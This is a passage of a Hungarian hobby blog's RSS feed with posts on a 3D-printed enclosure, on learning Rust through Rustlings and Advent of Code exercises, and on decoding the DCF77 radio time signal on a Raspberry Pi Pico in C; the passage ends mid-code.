    <img src="https://deadlime.hu/uploads/2024/box7.jpg" width="660" height="330" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Bár a képen nem látszik, de az USB alatt van egy kis lyuk, amin keresztül el lehet érni a <a href="https://shop.pimoroni.com/products/pico-lipo-shim">LiPo SHIM</a> ki-be kapcsoló gombját is.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box8.jpg" width="660" height="570" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">A gombok kaptak kis feliratokat, amivel a 0,4 mm-es nyomtatófej nem tudott olyan szépen megbírkózni.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box9.jpg" width="660" height="600" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">A jól ismert retró háttérvilágítás és a tavalyi kamu interfész.</p>

<p>Összességében remek móka a 3D nyomtatás, amit utólag lehet, hogy másképp csinálnék az az, hogy nem kezdenék neki működő digitális tolómérő nélkül, hogy kevesebb műanyag szemét termelődjön a projekt során. És megpróbálnám rávenni magam, hogy közelebbről tanulmányozzam valamelyik CAD szoftvert.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Gépekkel suttogó</title>
            <link>https://deadlime.hu/2024/02/29/gepekkel-suttogo/</link>
            <pubDate>Thu, 29 Feb 2024 19:05:30 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[programozás]]></category>
                    <category><![CDATA[Rust]]></category>
                    
            <guid isPermaLink="false">378a826986918adb519cca14f3a34294</guid>
            <description>A berozsdásodott agytekervények átmozgatása egy kis Rust-tal</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/robots.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Beszélgessünk egy kicsit a nyelvtanulásról. No nem azoknak a fura nyelveknek a tanulásáról, amit a humanoidok egymás között használnak, hanem inkább a programozási nyelvek tanulásáról.</p>
<p>Egy ideje nézegetem már a Rust-ot, úgyhogy amikor olvastam egy játék fejlesztői blogján, hogy Rust-ban írták, ismét elkezdtem egy kicsit jobban utánanézni. Olvasgattam milyen játék motorok vannak Rust-hoz, ki is próbáltam néhány példakódot, de tisztában vagyok a (fejlesztői, de még inkább grafikusi) korlátaimmal, nem kezdenék neki egy játék fejlesztésének, főleg nem egy olyan nyelven, amit még nem is ismerek rendesen.</p>
<p>Úgyhogy inkább ismerősebb vizekre eveztem és megnéztem, hogy milyen webes keretrendszerek vannak, egész sokáig el is jutottam a leírásában <a href="https://rocket.rs/">az egyik szimpatikusabb darabnak</a>, amikor kezdett már problémát jelenteni a példakódok maradéktalan értelmezése. Lehet, hogy nem ártana egy kis alapozás.</p>
<p>Manapság az Internet már teli van mindenféle online kurzusokkal, videóanyagokkal, de én a tradicionálisabb megoldások híve vagyok, úgyhogy a <a href="https://doc.rust-lang.org/book/">hivatalos Rust könyvnek</a> estem neki. Nagyjából a feléig jutottam, amikor már nagyon kezdtem unni, hogy csak olvasok és nem pedig programozok.</p>
<p>Találtam is egy <a href="https://rustlings.cool/">&quot;munkafüzet&quot; jellegű feladatgyűjteményt</a>, ahol a kód nagy része meg van már írva, csak el kell érni, hogy leforduljon, vagy éppen a tesztek zöldek legyenek. Az alap gondolat szerintem nagyon jó, más nyelvekhez is találkoztam már ilyesmivel.</p>
<p>Az egyetlen probléma, hogy az ilyen jellegű feladatoknál hajlamos vagyok átkapcsolni tanulási üzemmódból feladat megoldási üzemmódba, ami arra nagyon jó, hogy gyorsan végigvittem ezt a &quot;játékot&quot;, de a mélyebb megértést nem igazán segítette.</p>
<p>Néhány helyen azért sikerült lelassítani, ahol vagy sokadik próbálkozásra sem sikerült megoldani a feladatot, vagy nekiállni se tudtam, úgyhogy azért utána is olvastam néhány résznek. Az első megoldások sokszor nem is sikerültek túl szépre, nyilván nem ismerem a nyelv által nyújtott eszközöket, azzal dolgozok, amim van (vagy amit épp pár feladattal korábban tanultam). Például a <a href="https://github.com/rust-lang/rustlings/blob/5.6.1/exercises/hashmaps/hashmaps3.rs"><code>hashmaps/hashmaps3.rs</code> pálya</a> első megoldása valami ilyesmi lett:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">match</span> scores.get_mut(&amp;team_1_name) {
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">Some</span>(team) =&gt; {
    team.goals_scored += team_1_score;
    team.goals_conceded += team_2_score;
  }
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">None</span> =&gt; {
    scores.insert(
      team_1_name.clone(),
      Team { goals_scored: team_1_score, goals_conceded: team_2_score }
    );
  }
}
<span class="hljs-keyword">match</span> scores.get_mut(&amp;team_2_name) {
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">Some</span>(team) =&gt; {
    team.goals_scored += team_2_score;
    team.goals_conceded += team_1_score;
  }
  <span class="hljs-built_in">Option</span>::<span class="hljs-literal">None</span> =&gt; {
    scores.insert(
      team_2_name.clone(),
      Team { goals_scored: team_2_score, goals_conceded: team_1_score }
    );
  }
}
</code></pre>
<p>Aztán ráleltem <a href="https://doc.rust-lang.org/std/collections/struct.HashMap.html#method.entry">a <code>HashMap</code> <code>entry</code> függvényére</a> és <a href="https://doc.rust-lang.org/std/collections/hash_map/enum.Entry.html#method.or_insert">az <code>Entry</code> <code>or_insert</code> függvényére</a>, amik nagyban leegyszerűsítették a fenti kódot:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">let</span> team = scores.entry(team_1_name)
                 .or_insert(Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> });
team.goals_scored += team_1_score;
team.goals_conceded += team_2_score;

<span class="hljs-keyword">let</span> team = scores.entry(team_2_name)
                 .or_insert(Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> });
team.goals_scored += team_2_score;
team.goals_conceded += team_1_score;
</code></pre>
<p>A <code>Team</code> később kapott még néhány extra függvényt...</p>
<pre><code class="hljs rust"><span class="hljs-keyword">impl</span> Team {
  <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">new</span></span>() -&gt; <span class="hljs-keyword">Self</span> { Team { goals_scored: <span class="hljs-number">0</span>, goals_conceded: <span class="hljs-number">0</span> } }
  <span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">add</span></span>(&amp;<span class="hljs-keyword">mut</span> <span class="hljs-keyword">self</span>, scored: <span class="hljs-built_in">u8</span>, conceded: <span class="hljs-built_in">u8</span>) {
    <span class="hljs-keyword">self</span>.goals_scored += scored;
    <span class="hljs-keyword">self</span>.goals_conceded += conceded;
  }
}
</code></pre>
<p>...és ez lett a végső megoldásom:</p>
<pre><code class="hljs rust">scores.entry(team_1_name)
      .or_insert(Team::new())
      .add(team_1_score, team_2_score);
scores.entry(team_2_name)
      .or_insert(Team::new())
      .add(team_2_score, team_1_score);
</code></pre>
<p>Miután a Rustlings pályáival végeztem, új feladat után kellett néznem. Egy webes projektet még mindig túl nagy falatnak éreztem. Régen, amikor Python-t tanultam, akkor <a href="https://projecteuler.net/">Project Euler</a> feladatokat oldottam meg vele gyakorlásként. Hasonló ötlettel mentem tovább most is.</p>
<p>A <a href="https://adventofcode.com/2023">2023-as Advent of Code</a>-ba (is) belekezdtem tavaly decemberben és bár nem jutottam túl sokáig, az első néhány napra lett megoldásom PHP-ban (fő a változatosság), amiket újragondolhatok Rust-ban.</p>
<p>A meglévő megoldások ugyan nem előfeltételei annak, hogy az Advent of Code feladatai jól használhatóak legyenek egy kis programozási gyakorlásra, de én személy szerint nem szeretem, ha két zavaró tényező is van: az egyik az, hogy nem tudom még, hogy hogyan kell megoldani a feladatot, a másik pedig az, hogy nem értek a Rust-hoz. Az általában csak frusztrációhoz vezet és elmegy az ember kedve az egésztől.</p>
<p>Nyilván az Interneten fellelhető egy csomó Advent of Code megoldás, de akkor meg azzal megy az idő, hogy mások kódját megértse az ember, szóval jobb az, ha saját megoldással megyünk.</p>
<p>Alább az <a href="https://adventofcode.com/2023/day/1">első nap</a> első felének a megoldása, szerintem egész Rust-szerű lett:</p>
<pre><code class="hljs rust"><span class="hljs-keyword">use</span> std::fs;

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">main</span></span>() {
  <span class="hljs-keyword">let</span> sum: <span class="hljs-built_in">u32</span> = fs::read_to_string(<span class="hljs-string">"data/input_1.txt"</span>).unwrap()
    .lines()
    .map(calibration_value)
    .sum();

  <span class="hljs-built_in">println!</span>(<span class="hljs-string">"{:?}"</span>, sum);
}

<span class="hljs-function"><span class="hljs-keyword">fn</span> <span class="hljs-title">calibration_value</span></span>(line: &amp;<span class="hljs-built_in">str</span>) -&gt; <span class="hljs-built_in">u32</span> {
  <span class="hljs-keyword">let</span> numbers: <span class="hljs-built_in">Vec</span>&lt;<span class="hljs-built_in">u32</span>&gt; = line.chars()
    .filter_map(|c| c.to_digit(<span class="hljs-number">10</span>))
    .collect();

  numbers.first().unwrap() * <span class="hljs-number">10</span> + numbers.last().unwrap()
}
</code></pre>
<p>Érdemes összevetni a PHP-s implementációmmal, ami egy kicsit... hogy is mondjam... kevésbé sikerült elegánsra (bár akkoriban a cél a feladat megoldása volt, nem pedig az, hogy gyönyörű PHP kód szülessen):</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>

$sum = <span class="hljs-number">0</span>;
<span class="hljs-keyword">foreach</span> (file(<span class="hljs-string">'input_1.txt'</span>) <span class="hljs-keyword">as</span> $line) {
  $data = trim($line);
  preg_match(<span class="hljs-string">'/^.*?(?P&lt;digit&gt;[0-9])/'</span>, $data, $m);
  $firstDigit = $m[<span class="hljs-string">'digit'</span>];
  preg_match(<span class="hljs-string">'/.*(?P&lt;digit&gt;[0-9]).*?$/'</span>, $data, $m);
  $lastDigit = $m[<span class="hljs-string">'digit'</span>];

  $sum += intval($firstDigit . $lastDigit);
}

<span class="hljs-keyword">print</span>(<span class="hljs-string">"$sum\n"</span>);
</code></pre>
<p>Egy másik jó irány lehet egy új nyelv (és a hozzá tartozó teszt környezet) gyakorlására a <a href="https://github.com/gamontal/awesome-katas">kód katák</a>. Főleg azok, amiket más nyelveken már megoldottunk, hogy a feladat megoldása már ne okozzon semmilyen súrlódást. De a kata feladatok általában egyébként sem túl bonyolultak, úgyhogy akár előzetes felkészülés nélkül is bele lehet vágni.</p>
<p>Szóval így teltek a napjaim a Rust társaságában. A következő lépés valószínűleg az lesz, hogy visszatérek egy kicsit a könyvhöz, hogy a Rust sajátosságait (mint például az ownership/borrowing) jobban megértsem és mellette csinálom tovább a kis feladatokat. Te hogyan állsz neki egy új programozási nyelv tanulásának?</p>

]]></content:encoded>
        </item>
            <item>
            <title>Van valami a levegőben</title>
            <link>https://deadlime.hu/2024/01/26/van-valami-a-levegoben/</link>
            <pubDate>Fri, 26 Jan 2024 11:47:15 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">4abe903fee8ff98dd1ba1083bad21747</guid>
            <description>Atomórák, rádiójelek és az időszinkronizálás</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/desk_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A <a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">korábbi óra építős projekt</a> kapcsán arra jutottam, hogy egyszerűbben is meg lehetne ezt oldani. Úgyhogy vettem egy asztali órát.</p>
<p>Na jó, ez azért nem teljesen így történt, csak valahogy úgy hozta az élet, hogy egyszerre több idő-szerű dolog is foglalkoztat. Ez a kis projekt például arról szól, hogy vajon az Internet előtt az emberek hogyan juthattak hozzá a pontos időhöz?</p>
<p>Természetesen kinéztek az ablakon és leolvasták a pontos időt a templomtoronyról. Hála a modern technológiának, ezt mi is viszonylag egyszerűen meg tudjuk oldani. Csak ráirányítunk egy kamerát a templomtoronyra és mesterséges intelligencia segítségével leolvassuk a mutatók pozíciója alapján az időt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/tower.jpg" width="400" height="600" alt="" title="" loading="lazy" />
</p>

<p>Persze nem ennyire egyszerű a dolog. Valahogy meg kell állapítanunk azt is, hogy délelőtt vagy délután van és valószínűleg azt sem ártana megtudni, hogy mi a mai dátum. Arról nem is beszélve, ha valakinek a közelében épp nincsen egy templomtorony se.</p>
<p>Szemfüles olvasóknak feltűnhetett, hogy ehhez ugyan nem kellett volna egy asztali óra. Igaz, ami igaz, nem ebbe az irányba indultam el, nem szerettem volna <em>ennyire</em> visszamenni az időben. Valójában azon gondolkodtam el, hogy hogyan működhetnek a rádióvezérlésű órák.</p>
<h3>Rádió időszinkron</h3>
<p>Az egész egy adótoronnyal kezdődik. Mifelénk a DCF77 nevű, Németországban található torony által leadott jel lesz az, amit fogni tudunk, de <a href="https://en.wikipedia.org/wiki/Radio_clock#List_of_radio_time_signal_stations">van több is</a>, ami a világ többi részét fedi le.</p>
<p>A DCF77 esetén a jelet egy atomóra generálja és a sugárzása 60 másodpercig tart. Másodpercenként egy bit érkezik. A jelsorozatot egy hosszabb szünet zárja le. Viszont elég nagy a zaj, úgyhogy előfordulhat, hogy a hosszabb szünet megérkezésekor nincs elég adatunk, vagy ami valószínűbb, hogy előbb lesz 59 bitnyi adatunk, minthogy a szünet jönne, így a vételi viszonyok függvényében elég sokáig eltarthat az idő szinkronizáció.</p>
<p>Már csak egy vevő készülékre van szükségünk. Ez általában egy ferritrudas antennával és némi elektronika segítségével történik meg. Lehet <a href="https://www.aliexpress.com/w/wholesale-dcf77-receiver.html">rendelni vevőt Kínából is</a>, de nem volt kedvem egy hónapot várni, aztán még a postával is vacakolni, úgyhogy a leggyorsabb megoldásnak az tűnt, ha egy olcsó rádióvezérelt órát rendelek és &quot;megvizsgálom&quot; közelebbről.</p>
<h3>Az áldozat</h3>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/clock_insides.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p>A korábban emlegetett óra belsejébe belenézve láthatjuk, hogy lent van egy különálló nyomtatott áramkör, alatta pedig egy ferritrudas antenna. Ezeket némi forrasztással el is távolítottam.</p>
<p>Az óra sikeresen túlélte a műtétet, minden ugyanúgy működik rajta, csak a (rádiójel) hallását vesztette el.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/emax_6007_v1.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">EMAX 6007 V1<br/>GE16-1055R5<br/>NEW GE13-887</p>

<p>A rádió vevőn lévő feliratok nem segítettek abban, hogy valami leírást találjak, de más hasonló lapkák alapján kikövetkeztettem, hogy a <code>GND</code> a földbe megy, a <code>VCC</code>-n 3,3 voltot szeretne kapni, a <code>PON</code> a teljes modult tudja ki-be kapcsolni (de nem kell bekötni sehova) és kizárásos alapon az <code>NTCO</code>-n jön az adat.</p>
<p>A vezetékek kaptak egy kis toldást, hogy legyen a végükön jumper csatlakozó a próbapaneles felhasználáshoz, aztán rákötöttem az egészet egy Pico-ra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring1.jpg" width="660" height="540" alt="" title="" loading="lazy" />
</p>

<p>Szép is lett volna, ha elsőre sikerül. Néhány óra itt ráment arra, hogy kiderítsem miért nem jön semmi adat az antenna felől. Próbáltam bármi leírást keresni a modulhoz, kapcsolgatni a <code>PON</code>-t, különböző GPIO pin-eken rákötni a Pico-ra, gyanakodtam a kódra is, de végül az lett a megoldás, hogy átkötöttem a modult egy <a href="https://www.hestore.hu/prod_10035504.html">dedikált áramforrásra</a> és a Pico csak az adat jelet kapta meg. Valószínűleg a Pico nem tudott elég áramot adni az eszköznek.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/wiring2.jpg" width="660" height="540" alt="" title="" loading="lazy" />
</p>

<h3>Bitek a zajban</h3>
<p>Jön valamiféle adat, valamit kezdeni is kellene vele. Először csak a Pico-n található LED-et kezdtem el villogtatni, hogy legyen visszajelzés a történésekről.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> DCF_PIN 16</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> LED_PIN 25</span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_change</span><span class="hljs-params">(uint gpio, <span class="hljs-keyword">uint32_t</span> event_mask)</span> </span>{
  gpio_put(LED_PIN, event_mask &amp; GPIO_IRQ_EDGE_RISE);
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  gpio_init(DCF_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  gpio_set_irq_enabled_with_callback(
    DCF_PIN,
    GPIO_IRQ_EDGE_FALL | GPIO_IRQ_EDGE_RISE,
    <span class="hljs-literal">true</span>,
    &amp;on_change
  );

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>A következő lépés, hogy elkezdjük mérni, hogy milyen sokáig van magas és alacsony állapotban a jel. A dokumentáció szerint <code>0</code> érkezik, ha 100 ezredmásodpercig magas a jel, <code>1</code> érkezik, ha 200 ezredmásodpercig magas a jel. Mivel másodpercenként egy bit jön, ezért két magas állapot között kell lennie 800-900 ezredemásodpercnyi alacsony állapotnak. Az utolsó másodpercben nem jön adat, úgyhogy ott van egy 1800-1900 ezredmásodperces alacsony állapot.</p>
<p>Először is definiálunk néhány konstans értéket a zajszűréshez, annak megállapításához, hogy <code>0</code> vagy <code>1</code> jött és az adat végének detektálásához.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MINIMAL_HIGH_PULSE_WIDTH 50</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MINIMAL_LOW_PULSE_WIDTH 700</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> PULSE_WIDTH_THRESHOLD 150</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> END_OF_DATA_PULSE_WIDTH 1500</span>
</code></pre>
<p>Aztán néhány változó is kelleni fog, amiben az előző állapotváltozások időpontját és az eddig megérkezett adatot tároljuk.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint32_t</span> rise_time = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint32_t</span> fall_time = <span class="hljs-number">0</span>;

<span class="hljs-keyword">uint64_t</span> <span class="hljs-built_in">buffer</span> = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint32_t</span> buffer_position = <span class="hljs-number">0</span>;
</code></pre>
<p>Ezek után már csak az <code>on_change</code> belsejét kell megírni. Először is lekérjük, hogy a Pico elindítása óta hány ezredmásodperc telt el.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint32_t</span> now = to_ms_since_boot(get_absolute_time());
</code></pre>
<p>Aztán csinálunk egy kis zaj szűrést, különben szinte lehetetlen lenne megkapni az adatot.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (now - fall_time &lt; MINIMAL_LOW_PULSE_WIDTH) {
  <span class="hljs-keyword">return</span>;
}

<span class="hljs-keyword">if</span> (now - rise_time &lt; MINIMAL_HIGH_PULSE_WIDTH) {
  <span class="hljs-keyword">return</span>;
}
</code></pre>
<p>Ha alacsonyról magasra váltott a jel, akkor megnézzük, hogy elég hosszú volt-e az alacsony jel ahhoz, hogy az adat végét jelentse. Ha ezen a ponton kaptunk 59 bitnyi adatot, akkor minden oké, ha nem, akkor kezdjük előről az egészet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (event_mask &amp; GPIO_IRQ_EDGE_RISE) {
  rise_time = now;

  <span class="hljs-keyword">if</span> (rise_time - fall_time &gt; END_OF_DATA_PULSE_WIDTH) {
    <span class="hljs-keyword">if</span> (buffer_position == <span class="hljs-number">59</span>) {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - data received: %lld\n"</span>, <span class="hljs-built_in">buffer</span>);
    }
    <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - reset: not enough data\n"</span>);
    }
    <span class="hljs-built_in">buffer</span> = buffer_position = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p>Ha magasról alacsonyra váltott a jel, akkor a jel hossza alapján eldöntjük, hogy <code>0</code>-t vagy <code>1</code>-et kaptunk és eltesszük a kapott értékünket a <code>buffer</code>-be. Itt előfordulhat, hogy a kelleténél több adatunk van (a zaj miatt), ha ez a helyzet, akkor előről kezdjük az egészet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (event_mask &amp; GPIO_IRQ_EDGE_FALL) {
  fall_time = now;

  <span class="hljs-keyword">uint64_t</span> next_bit = fall_time - rise_time &gt; PULSE_WIDTH_THRESHOLD ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>;

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%lld"</span>, next_bit);

  <span class="hljs-built_in">buffer</span> |= next_bit &lt;&lt; buffer_position;
  ++buffer_position;

  <span class="hljs-keyword">if</span> (buffer_position &gt; <span class="hljs-number">59</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">" - reset: too much data\n"</span>);
    <span class="hljs-built_in">buffer</span> = buffer_position = <span class="hljs-number">0</span>;
  }
}
</code></pre>
<p>Ha minden jól ment, a végén lesz egy adatsorozatunk, ami remélhetőleg az aktuális pontos időt tartalmazza.</p>

<video controls width="660" height="450">
    <source src="https://deadlime.hu/uploads/2024/debug_output.webm" type="video/webm" />
</video>
<p class="image-caption">Szépen lassan csordogál az adat...</p>

<h3>Menjünk biztosra</h3>
<p>Többször volt említve a zaj, ami elég nagy probléma tud lenni. Abban a szobában, ahol az asztali gépem és a szerverek vannak nem is sikerült használható adatot kinyerni. Egy laptoppal költöztem át egy másik szobába, hogy ki tudjam próbálni a kódot. Napközben ott is sok volt a zaj és kellett egy fél óra is akár, hogy megkapjam a pontos időt, de este szinte minden percben sikeresen átért az adat.</p>
<p>Szóval van egy adag bitünk, de nem tudhatjuk, hogy attól, hogy mi azt gondoltuk, hogy <code>1</code>-es értéket kaptunk, a másik oldal tényleg <code>1</code>-est küldött-e. Ennek ellenőrzésére van az adatban három darab paritás bit, ami <code>0</code>, ha az előtte lévő adatban páros számú <code>1</code>-es van és <code>1</code>, ha páratlan. Először is nézzük meg, hogy hogyan számolunk paritást egy tetszőleges <code>int</code>-re:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">parity</span><span class="hljs-params">(<span class="hljs-keyword">int</span> num)</span> </span>{
  num ^= num &gt;&gt; <span class="hljs-number">16</span>;
  num ^= num &gt;&gt; <span class="hljs-number">8</span>;
  num ^= num &gt;&gt; <span class="hljs-number">4</span>;
  num ^= num &gt;&gt; <span class="hljs-number">2</span>;
  num ^= num &gt;&gt; <span class="hljs-number">1</span>;
  <span class="hljs-keyword">return</span> num &amp; <span class="hljs-number">1</span>;
}
</code></pre>
<p>A részletekbe nem mennék bele, a <a href="https://stackoverflow.com/a/21618038">Stack Overflow oldalon</a>, ahonnan loptam a kódot remek magyarázat van hozzá. Ezen kívül tudnunk kell, hogy melyek a paritás bitek és milyen adatokra számolódtak ki. Ezt a <a href="https://en.wikipedia.org/wiki/DCF77#Time_code_interpretation">kapcsolódó Wikipédia oldalon</a> meg tudjuk nézni. Például a perc esetén:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> min_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">21</span>) &amp; <span class="hljs-number">0b1111111</span>);
<span class="hljs-keyword">int</span> min_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">28</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(min_data) != min_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for minute\n"</span>);
}
</code></pre>
<p>A <code>buffer</code>-ünket eltoljuk jobbra 21 bittel (gyakorlatilag kidobjuk az első 21 bitet), mert a 22. bittől kezdődik a perchez tartozó adat és vesszük az első 7 bitet (<code>&amp; 0b1111111</code>), mert addig tart a perc.</p>
<p>A paritáshoz az első 28 bitet dobjuk ki és a maradék adatból 1 bitet tartunk csak meg. Az általunk kiszámolt paritásnak egyeznie kell az így kapott adattal.</p>
<p>Az órát és a dátumot hasonló módon ellenőrizzük, csak a jobbra eltolások száma és az utána megtartott adatok mennyisége változik.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> hour_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">29</span>) &amp; <span class="hljs-number">0b111111</span>);
<span class="hljs-keyword">int</span> hour_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">35</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(hour_data) != hour_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for hour\n"</span>);
}

<span class="hljs-keyword">int</span> date_data = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">36</span>) &amp; <span class="hljs-number">0b1111111111111111111111</span>);
<span class="hljs-keyword">int</span> date_parity = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">58</span>) &amp; <span class="hljs-number">1</span>);

<span class="hljs-keyword">if</span> (parity(date_data) != date_parity) {
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"invalid parity for date\n"</span>);
}
</code></pre>
<h3>Itt az idő</h3>
<p>Ha átment a <code>buffer</code> az ellenőrzéseken, akkor már csak ki kell nyernünk belőle az adatokat és be kell állítanunk a Pico-n a pontos időt. Először nézzük meg itt is a percet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> <span class="hljs-built_in">min</span> = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">21</span>) &amp; <span class="hljs-number">0b1111111</span>);
<span class="hljs-built_in">min</span> = (<span class="hljs-built_in">min</span> &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (<span class="hljs-built_in">min</span> &amp; <span class="hljs-number">0b1111</span>);
</code></pre>
<p>Az adat kinyerése ugyanaz, mint a paritás esetén, de mivel az adat <a href="https://hu.wikipedia.org/wiki/Bin%C3%A1risan_k%C3%B3dolt_decim%C3%A1lis_sz%C3%A1m%C3%A1br%C3%A1zol%C3%A1s">binárisan kódolt decimálisként</a> van ábrázolva, ezért van vele még egy kis extra dolgunk (az első négy bit az első számjegy, a második négy bit (ami csak három) a második számjegy).</p>
<p>A maradék adatot hasonlóan kaphatjuk meg, a hét napja (<code>dow</code>) esetén a vasárnap <code>7</code>-esként jön és a Pico azt <code>0</code>-ként szeretné megkapni, valamint az év esetén hozzá kell adnunk <code>2000</code>-et az értékhez, mert az évszám utolsó két számjegyét kapjuk csak meg.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> hour = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">29</span>) &amp; <span class="hljs-number">0b111111</span>);
hour = (hour &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (hour &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> dom = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">36</span>) &amp; <span class="hljs-number">0b111111</span>);
dom = (dom &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (dom &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> dow = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">42</span>) &amp; <span class="hljs-number">0b111</span>);
<span class="hljs-keyword">if</span> (dow == <span class="hljs-number">7</span>) {
  dow = <span class="hljs-number">0</span>;
}

<span class="hljs-keyword">int</span> month = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">45</span>) &amp; <span class="hljs-number">0b11111</span>);
month = (month &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (month &amp; <span class="hljs-number">0b1111</span>);

<span class="hljs-keyword">int</span> year = (<span class="hljs-keyword">int</span>) ((<span class="hljs-built_in">buffer</span> &gt;&gt; <span class="hljs-number">50</span>) &amp; <span class="hljs-number">0b11111111</span>);
year = <span class="hljs-number">2000</span> + (year &gt;&gt; <span class="hljs-number">4</span>) * <span class="hljs-number">10</span> + (year &amp; <span class="hljs-number">0b1111</span>);
</code></pre>
<p>Már csak meg kell mondani a Pico RTC moduljának, hogy mennyi a pontos idő.</p>
<pre><code class="hljs arduino">rtc_init();

<span class="hljs-keyword">datetime_t</span> t = {
  .year = (<span class="hljs-keyword">int16_t</span>) year,
  .month = (<span class="hljs-keyword">int8_t</span>) month,
